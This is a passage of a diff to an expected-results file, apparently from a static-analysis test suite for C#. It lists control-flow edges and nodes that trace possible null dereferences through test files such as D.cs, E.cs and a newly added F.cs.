D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | +| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | +| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | +| D.cs:407:42:407:42 | access to parameter x | D.cs:407:42:407:63 | [false] ... && ... | +| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | +| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | +| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | +| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | +| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | +| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | +| D.cs:409:9:410:25 | if (...) ... | D.cs:410:13:410:13 | access to parameter y | +| D.cs:409:9:410:25 | if (...) ... | D.cs:411:9:412:25 | if (...) ... | +| D.cs:411:9:412:25 | if (...) ... | D.cs:412:13:412:13 | access to parameter x | +| E.cs:9:18:9:26 | SSA def(a2) | E.cs:10:22:10:54 | ... && ... | +| E.cs:10:22:10:54 | ... && ... | E.cs:12:38:12:39 | access to local variable a2 | +| E.cs:11:16:11:24 | SSA def(a3) | E.cs:12:22:12:52 | ... && ... | +| E.cs:12:22:12:52 | ... && ... | E.cs:14:13:14:14 | access to local variable a3 | +| E.cs:23:13:23:30 | SSA def(s1) | E.cs:24:33:24:36 | null | +| E.cs:24:18:24:41 | ... ? ... : ... | E.cs:26:9:27:26 | if (...) ... | +| E.cs:24:33:24:36 | null | E.cs:24:18:24:41 | ... ? ... : ... | +| E.cs:26:9:27:26 | if (...) ... | E.cs:27:13:27:14 | access to local variable s1 | +| E.cs:51:22:51:33 | SSA def(slice) | E.cs:53:16:53:19 | access to local variable iter | +| E.cs:53:16:53:19 | access to local variable iter | E.cs:54:9:63:9 | {...} | +| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:17 | access to local variable slice | +| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:27 | ...; | +| E.cs:61:13:61:27 | ...; | E.cs:53:16:53:19 | access to local variable iter | +| E.cs:66:40:66:42 | SSA param(arr) | E.cs:70:13:70:50 | ...; | +| E.cs:66:40:66:42 | SSA param(arr) | E.cs:72:9:73:23 | if (...) ... | +| E.cs:70:13:70:50 | ...; | E.cs:70:36:70:36 | 0 | +| E.cs:70:22:70:49 | ... ? ... : ... | E.cs:72:9:73:23 | if (...) ... | +| E.cs:70:36:70:36 | 0 | E.cs:70:22:70:49 | ... ? ... : ... | +| E.cs:72:9:73:23 | if (...) ... | E.cs:73:13:73:15 | access to parameter arr | +| E.cs:107:15:107:25 | SSA def(arr2) | E.cs:111:9:112:30 | for (...;...;...) ... | +| E.cs:111:9:112:30 | for (...;...;...) ... | E.cs:111:25:111:25 | access to local variable i | +| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:16 | access to local variable arr2 | +| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:30 | ...; | +| E.cs:112:13:112:30 | ...; | E.cs:111:25:111:25 | access to local variable i | +| E.cs:120:16:120:20 | [true] !... | E.cs:121:9:143:9 | {...} | +| E.cs:120:17:120:20 | access to local variable stop | E.cs:120:16:120:20 | [true] !... | +| E.cs:121:9:143:9 | {...} | E.cs:123:21:123:24 | access to local variable stop | +| E.cs:123:20:123:24 | [false] !... | E.cs:123:20:123:35 | [false] ... && ... | +| E.cs:123:20:123:24 | [true] !... | E.cs:123:29:123:29 | access to local variable j | +| E.cs:123:20:123:35 | [false] ... && ... | E.cs:120:17:120:20 | access to local variable stop | +| E.cs:123:20:123:35 | [true] ... && ... | E.cs:124:13:142:13 | {...} | +| E.cs:123:20:123:35 | [true] ... && ... | E.cs:125:33:125:35 | access to local variable obj | +| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [false] !... | +| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [true] !... | +| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [false] ... && ... | +| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [true] ... && ... | +| E.cs:124:13:142:13 | {...} | E.cs:128:21:128:23 | access to local variable obj | +| E.cs:124:13:142:13 | {...} | E.cs:141:17:141:26 | ...; | +| E.cs:137:25:137:34 | SSA def(obj) | E.cs:139:21:139:29 | continue; | +| E.cs:139:21:139:29 | continue; | E.cs:123:21:123:24 | access to local variable stop | +| E.cs:141:17:141:26 | ...; | E.cs:123:21:123:24 | access to local variable stop | +| E.cs:152:16:152:26 | SSA def(obj2) | E.cs:153:13:153:54 | [false] ... && ... | +| E.cs:153:13:153:54 | [false] ... && ... | E.cs:158:9:159:28 | if (...) ... | +| E.cs:158:9:159:28 | if (...) ... | E.cs:159:13:159:16 | access to local variable obj2 | +| E.cs:162:28:162:28 | SSA param(a) | E.cs:164:29:164:29 | 0 | +| E.cs:164:17:164:40 | ... ? ... : ... | E.cs:165:25:165:25 | access to local variable i | +| E.cs:164:29:164:29 | 0 | E.cs:164:17:164:40 | ... ? ... : ... | +| E.cs:165:25:165:25 | access to local variable i | E.cs:166:9:170:9 | {...} | +| E.cs:165:25:165:25 | access to local variable i | E.cs:167:21:167:21 | access to parameter a | +| E.cs:165:32:165:32 | access to local variable i | E.cs:165:25:165:25 | access to local variable i | +| E.cs:166:9:170:9 | {...} | E.cs:165:32:165:32 | access to local variable i | +| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | +| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | +| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:177:9:179:9 | {...} | +| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:178:13:178:15 | access to parameter obj | +| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:180:9:183:9 | if (...) ... | +| E.cs:175:33:175:37 | false | E.cs:175:19:175:42 | ... ? ... : ... | +| E.cs:177:9:179:9 | {...} | E.cs:180:9:183:9 | if (...) ... | +| E.cs:180:9:183:9 | if (...) ... | E.cs:181:9:183:9 | {...} | +| E.cs:181:9:183:9 | {...} | E.cs:184:9:187:9 | if (...) ... | +| E.cs:184:9:187:9 | if (...) ... | E.cs:186:13:186:15 | access to parameter obj | +| E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | +| E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | +| E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | +| E.cs:206:28:206:28 | SSA param(s) | E.cs:208:13:208:23 | [false] ... is ... | +| E.cs:208:13:208:23 | [false] ... is ... | E.cs:210:16:210:16 | access to parameter s | +| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | +| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:220:13:220:13 | access to local variable x | +| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:13 | access to local variable x | +| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:25 | ...; | +| E.cs:229:13:229:25 | ...; | E.cs:230:9:230:9 | access to local variable x | +| E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | +| E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | +| E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | +| E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | +| E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | +| E.cs:319:29:319:30 | SSA param(s1) | E.cs:321:20:321:21 | access to parameter s2 | +| E.cs:321:13:321:30 | [true] ... is ... | E.cs:323:13:323:14 | access to parameter s1 | +| E.cs:321:14:321:21 | ... ?? ... | E.cs:321:13:321:30 | [true] ... is ... | +| E.cs:321:20:321:21 | access to parameter s2 | E.cs:321:14:321:21 | ... ?? ... | +| E.cs:330:13:330:36 | SSA def(x) | E.cs:331:9:331:9 | access to local variable x | +| E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | +| E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | +| E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | +| E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | +| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | +| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | +| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | +| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | +| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | +| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | +| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | +| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | +| E.cs:384:9:385:24 | if (...) ... | E.cs:384:13:384:36 | [false] ... && ... | +| E.cs:384:9:385:24 | if (...) ... | E.cs:384:27:384:28 | access to parameter e2 | +| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:16:386:17 | access to parameter e1 | +| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:27:386:28 | access to parameter e2 | +| E.cs:384:27:384:28 | access to parameter e2 | E.cs:384:13:384:36 | [false] ... && ... | +| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | +| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | +| E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | +| E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | +| E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | +| E.cs:435:29:435:29 | SSA param(s) | E.cs:437:13:437:21 | [true] ... is ... | +| E.cs:437:13:437:21 | [true] ... is ... | E.cs:439:13:439:13 | access to parameter s | +| F.cs:7:16:7:23 | SSA def(o) | F.cs:8:9:8:9 | access to local variable o | +| Forwarding.cs:7:16:7:23 | SSA def(s) | Forwarding.cs:9:13:9:30 | [false] !... | +| Forwarding.cs:9:13:9:30 | [false] !... | Forwarding.cs:14:9:17:9 | if (...) ... | +| Forwarding.cs:14:9:17:9 | if (...) ... | Forwarding.cs:19:9:22:9 | if (...) ... | +| Forwarding.cs:19:9:22:9 | if (...) ... | Forwarding.cs:19:13:19:23 | [false] !... | +| Forwarding.cs:19:13:19:23 | [false] !... | Forwarding.cs:24:9:27:9 | if (...) ... | +| Forwarding.cs:24:9:27:9 | if (...) ... | Forwarding.cs:29:9:32:9 | if (...) ... | +| Forwarding.cs:29:9:32:9 | if (...) ... | Forwarding.cs:34:9:37:9 | if (...) ... | +| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:35:9:37:9 | {...} | +| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:36:31:36:31 | access to local variable s | +| Forwarding.cs:35:9:37:9 | {...} | Forwarding.cs:40:27:40:27 | access to local variable s | +| GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:9:13:9:36 | [false] !... | +| GuardedString.cs:9:13:9:36 | [false] !... | GuardedString.cs:14:9:17:9 | if (...) ... | +| GuardedString.cs:14:9:17:9 | if (...) ... | GuardedString.cs:14:13:14:41 | [false] !... | +| GuardedString.cs:14:13:14:41 | [false] !... | GuardedString.cs:19:9:20:40 | if (...) ... | +| GuardedString.cs:19:9:20:40 | if (...) ... | GuardedString.cs:19:26:19:26 | 0 | +| GuardedString.cs:19:26:19:26 | 0 | GuardedString.cs:22:9:23:40 | if (...) ... | +| GuardedString.cs:22:9:23:40 | if (...) ... | GuardedString.cs:22:25:22:25 | 0 | +| GuardedString.cs:22:25:22:25 | 0 | GuardedString.cs:25:9:26:40 | if (...) ... | +| GuardedString.cs:25:9:26:40 | if (...) ... | GuardedString.cs:25:26:25:26 | 0 | +| GuardedString.cs:25:26:25:26 | 0 | GuardedString.cs:28:9:29:40 | if (...) ... | +| GuardedString.cs:28:9:29:40 | if (...) ... | GuardedString.cs:28:25:28:26 | 10 | +| GuardedString.cs:28:25:28:26 | 10 | GuardedString.cs:31:9:32:40 | if (...) ... | +| GuardedString.cs:31:9:32:40 | if (...) ... | GuardedString.cs:31:26:31:27 | 10 | +| GuardedString.cs:31:26:31:27 | 10 | GuardedString.cs:34:9:37:40 | if (...) ... | +| GuardedString.cs:34:9:37:40 | if (...) ... | GuardedString.cs:34:26:34:26 | 0 | +| GuardedString.cs:34:26:34:26 | 0 | GuardedString.cs:35:31:35:31 | access to local variable s | +| NullAlwaysBad.cs:7:29:7:29 | SSA param(s) | NullAlwaysBad.cs:9:30:9:30 | access to parameter s | +| NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | +| Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | +| StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:15:16:15:16 | access to local variable s | +| StringConcatenation.cs:15:16:15:16 | access to local variable s | StringConcatenation.cs:16:17:16:17 | access to local variable s | nodes | A.cs:7:16:7:40 | SSA def(synchronizedAlways) | | A.cs:8:15:8:32 | access to local variable synchronizedAlways | @@ -415,6 +895,8 @@ nodes | E.cs:435:29:435:29 | SSA param(s) | | E.cs:437:13:437:21 | [true] ... is ... | | E.cs:439:13:439:13 | access to parameter s | +| F.cs:7:16:7:23 | SSA def(o) | +| F.cs:8:9:8:9 | access to local variable o | | Forwarding.cs:7:16:7:23 | SSA def(s) | | Forwarding.cs:9:13:9:30 | [false] !... | | Forwarding.cs:14:9:17:9 | if (...) ... | @@ -452,482 +934,3 @@ nodes | StringConcatenation.cs:14:16:14:23 | SSA def(s) | | StringConcatenation.cs:15:16:15:16 | access to local variable s | | StringConcatenation.cs:16:17:16:17 | access to local variable s | -edges -| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:8:15:8:32 | access to local variable synchronizedAlways | -| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:10:13:10:30 | access to local variable synchronizedAlways | -| A.cs:16:15:16:30 | SSA def(arrayNull) | A.cs:17:9:17:17 | access to local variable arrayNull | -| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:31:27:31:37 | access to local variable arrayAccess | -| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:36:27:36:37 | access to local variable arrayAccess | -| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:32:27:32:37 | access to local variable fieldAccess | -| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:37:27:37:37 | access to local variable fieldAccess | -| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:33:28:33:39 | access to local variable methodAccess | -| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:38:15:38:26 | access to local variable methodAccess | -| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:34:27:34:36 | access to local variable methodCall | -| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:39:27:39:36 | access to local variable methodCall | -| A.cs:48:16:48:28 | SSA def(varRef) | A.cs:50:9:50:14 | access to local variable varRef | -| Assert.cs:13:9:13:25 | [b (line 7): false] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | -| Assert.cs:13:9:13:25 | [b (line 7): true] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | -| Assert.cs:21:9:21:25 | [b (line 7): false] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | -| Assert.cs:21:9:21:25 | [b (line 7): true] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | -| Assert.cs:29:9:29:25 | [b (line 7): false] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | -| Assert.cs:29:9:29:25 | [b (line 7): true] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | -| Assert.cs:45:9:45:25 | [b (line 7): true] SSA def(s) | Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | -| Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | Assert.cs:47:27:47:27 | access to local variable s | -| Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | -| Assert.cs:49:9:49:25 | [b (line 7): true] SSA def(s) | Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | -| Assert.cs:50:24:50:38 | [false] ... \|\| ... | Assert.cs:51:27:51:27 | access to local variable s | -| Assert.cs:50:37:50:38 | [false] !... | Assert.cs:50:24:50:38 | [false] ... \|\| ... | -| Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | Assert.cs:50:37:50:38 | [false] !... | -| B.cs:7:11:7:29 | SSA def(eqCallAlways) | B.cs:13:13:13:24 | access to local variable eqCallAlways | -| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:13:13:13:36 | ...; | -| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:15:9:16:26 | if (...) ... | -| B.cs:13:13:13:36 | ...; | B.cs:15:9:16:26 | if (...) ... | -| B.cs:15:9:16:26 | if (...) ... | B.cs:16:13:16:26 | ...; | -| B.cs:15:9:16:26 | if (...) ... | B.cs:18:9:20:26 | if (...) ... | -| B.cs:16:13:16:26 | ...; | B.cs:18:9:20:26 | if (...) ... | -| B.cs:18:9:20:26 | if (...) ... | B.cs:18:25:18:27 | {...} | -| B.cs:18:9:20:26 | if (...) ... | B.cs:20:13:20:26 | ...; | -| B.cs:18:25:18:27 | {...} | B.cs:22:9:24:37 | if (...) ... | -| B.cs:20:13:20:26 | ...; | B.cs:22:9:24:37 | if (...) ... | -| B.cs:22:9:24:37 | if (...) ... | B.cs:24:13:24:25 | access to local variable neqCallAlways | -| C.cs:10:16:10:23 | SSA def(o) | C.cs:11:17:11:28 | [false] !... | -| C.cs:11:13:11:30 | [false] !... | C.cs:16:9:19:9 | if (...) ... | -| C.cs:11:15:11:29 | [true] !... | C.cs:11:13:11:30 | [false] !... | -| C.cs:11:17:11:28 | [false] !... | C.cs:11:15:11:29 | [true] !... | -| C.cs:16:9:19:9 | if (...) ... | C.cs:16:13:16:24 | [true] !... | -| C.cs:16:13:16:24 | [true] !... | C.cs:18:13:18:13 | access to local variable o | -| C.cs:40:13:40:35 | SSA def(s) | C.cs:42:9:42:9 | access to local variable s | -| C.cs:55:13:55:36 | SSA def(o2) | C.cs:57:9:57:10 | access to local variable o2 | -| C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | -| C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | -| C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | -| C.cs:94:13:94:45 | SSA def(o) | C.cs:96:13:96:13 | access to local variable o | -| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | -| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | -| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:103:22:103:22 | Int32 x | -| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:106:13:106:16 | access to parameter list | -| C.cs:103:22:103:22 | Int32 x | C.cs:103:9:107:9 | foreach (... ... in ...) ... | -| C.cs:103:27:103:30 | access to parameter list | C.cs:103:9:107:9 | foreach (... ... in ...) ... | -| C.cs:159:9:159:16 | SSA def(s) | C.cs:162:13:162:13 | access to local variable s | -| C.cs:167:9:167:16 | SSA def(s) | C.cs:170:13:170:13 | access to local variable s | -| C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | -| C.cs:193:9:193:16 | SSA def(s) | C.cs:196:13:196:13 | access to local variable s | -| C.cs:197:13:197:20 | [b (line 192): true] SSA def(s) | C.cs:196:13:196:13 | access to local variable s | -| C.cs:201:16:201:19 | true | C.cs:203:13:203:13 | access to local variable s | -| C.cs:204:13:204:20 | SSA def(s) | C.cs:201:16:201:19 | true | -| C.cs:210:13:210:35 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | -| C.cs:214:13:214:20 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | -| C.cs:217:9:218:25 | if (...) ... | C.cs:218:13:218:13 | access to local variable s | -| C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | -| C.cs:229:22:229:22 | access to local variable s | C.cs:233:9:233:9 | access to local variable s | -| C.cs:229:33:229:40 | SSA def(s) | C.cs:229:22:229:22 | access to local variable s | -| C.cs:235:14:235:21 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | -| C.cs:235:24:235:24 | access to local variable s | C.cs:237:13:237:13 | access to local variable s | -| C.cs:235:35:235:42 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | -| C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | -| C.cs:248:15:248:22 | SSA def(a) | C.cs:249:9:249:9 | access to local variable a | -| C.cs:257:15:257:23 | SSA def(ia) | C.cs:260:9:260:10 | access to local variable ia | -| C.cs:257:15:257:23 | SSA def(ia) | C.cs:263:9:263:10 | access to local variable ia | -| C.cs:258:18:258:26 | SSA def(sa) | C.cs:261:20:261:21 | access to local variable sa | -| C.cs:258:18:258:26 | SSA def(sa) | C.cs:264:16:264:17 | access to local variable sa | -| D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | -| D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | -| D.cs:58:13:58:41 | SSA def(o5) | D.cs:61:9:62:26 | if (...) ... | -| D.cs:61:9:62:26 | if (...) ... | D.cs:62:13:62:14 | access to local variable o5 | -| D.cs:68:13:68:34 | SSA def(o7) | D.cs:69:18:69:36 | ... && ... | -| D.cs:69:18:69:36 | ... && ... | D.cs:73:13:73:14 | access to local variable o7 | -| D.cs:75:13:75:34 | SSA def(o8) | D.cs:76:34:76:35 | 42 | -| D.cs:76:21:76:43 | ... ? ... : ... | D.cs:79:9:80:26 | if (...) ... | -| D.cs:76:34:76:35 | 42 | D.cs:76:21:76:43 | ... ? ... : ... | -| D.cs:79:9:80:26 | if (...) ... | D.cs:81:9:82:26 | if (...) ... | -| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:14 | access to local variable o8 | -| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:26 | ...; | -| D.cs:81:9:82:26 | if (...) ... | D.cs:83:9:84:26 | if (...) ... | -| D.cs:82:13:82:26 | ...; | D.cs:83:9:84:26 | if (...) ... | -| D.cs:83:9:84:26 | if (...) ... | D.cs:84:13:84:14 | access to local variable o8 | -| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | -| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:22 | ...; | -| D.cs:89:15:89:44 | SSA def(xs) | D.cs:93:9:94:30 | if (...) ... | -| D.cs:91:13:91:22 | ...; | D.cs:93:9:94:30 | if (...) ... | -| D.cs:93:9:94:30 | if (...) ... | D.cs:94:13:94:30 | ...; | -| D.cs:93:9:94:30 | if (...) ... | D.cs:94:21:94:22 | access to local variable xs | -| D.cs:93:9:94:30 | if (...) ... | D.cs:96:9:99:9 | if (...) ... | -| D.cs:94:13:94:30 | ...; | D.cs:96:9:99:9 | if (...) ... | -| D.cs:96:9:99:9 | if (...) ... | D.cs:97:9:99:9 | {...} | -| D.cs:96:9:99:9 | if (...) ... | D.cs:98:21:98:22 | access to local variable xs | -| D.cs:96:9:99:9 | if (...) ... | D.cs:101:9:102:35 | if (...) ... | -| D.cs:97:9:99:9 | {...} | D.cs:101:9:102:35 | if (...) ... | -| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | -| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | -| D.cs:101:9:102:35 | if (...) ... | D.cs:104:9:106:30 | if (...) ... | -| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:102:26:102:26 | Int32 _ | -| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:104:9:106:30 | if (...) ... | -| D.cs:102:26:102:26 | Int32 _ | D.cs:102:13:102:35 | foreach (... ... in ...) ... | -| D.cs:102:31:102:32 | access to local variable xs | D.cs:102:13:102:35 | foreach (... ... in ...) ... | -| D.cs:104:9:106:30 | if (...) ... | D.cs:105:19:105:20 | access to local variable xs | -| D.cs:104:9:106:30 | if (...) ... | D.cs:106:17:106:18 | access to local variable xs | -| D.cs:118:9:118:30 | SSA def(x) | D.cs:120:13:120:13 | access to local variable x | -| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | -| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | -| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:32:127:32 | 0 | -| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:36:127:36 | access to parameter a | -| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | -| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | -| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:36:128:36 | access to parameter b | -| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | -| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | -| D.cs:127:36:127:36 | access to parameter a | D.cs:127:20:127:43 | ... ? ... : ... | -| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | -| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | -| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:138:9:138:18 | ... ...; | -| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | -| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | -| D.cs:128:36:128:36 | access to parameter b | D.cs:128:20:128:43 | ... ? ... : ... | -| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | -| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | -| D.cs:132:29:132:29 | access to local variable i | D.cs:134:24:134:24 | access to parameter a | -| D.cs:132:29:132:29 | access to local variable i | D.cs:135:24:135:24 | access to parameter b | -| D.cs:132:29:132:29 | access to local variable i | D.cs:138:9:138:18 | ... ...; | -| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:138:9:138:18 | ... ...; | D.cs:142:13:142:22 | ...; | -| D.cs:142:13:142:22 | ...; | D.cs:143:9:146:9 | for (...;...;...) ... | -| D.cs:143:9:146:9 | for (...;...;...) ... | D.cs:143:25:143:25 | access to local variable i | -| D.cs:143:25:143:25 | access to local variable i | D.cs:144:9:146:9 | {...} | -| D.cs:143:25:143:25 | access to local variable i | D.cs:145:20:145:20 | access to parameter a | -| D.cs:144:9:146:9 | {...} | D.cs:143:25:143:25 | access to local variable i | -| D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | -| D.cs:163:16:163:25 | SSA def(obj) | D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | -| D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | D.cs:168:26:168:26 | [exception: Exception] Exception e | -| D.cs:168:26:168:26 | [exception: Exception] Exception e | D.cs:171:9:171:11 | access to local variable obj | -| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:29:241:32 | null | -| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:36:241:37 | "" | -| D.cs:241:21:241:37 | ... ? 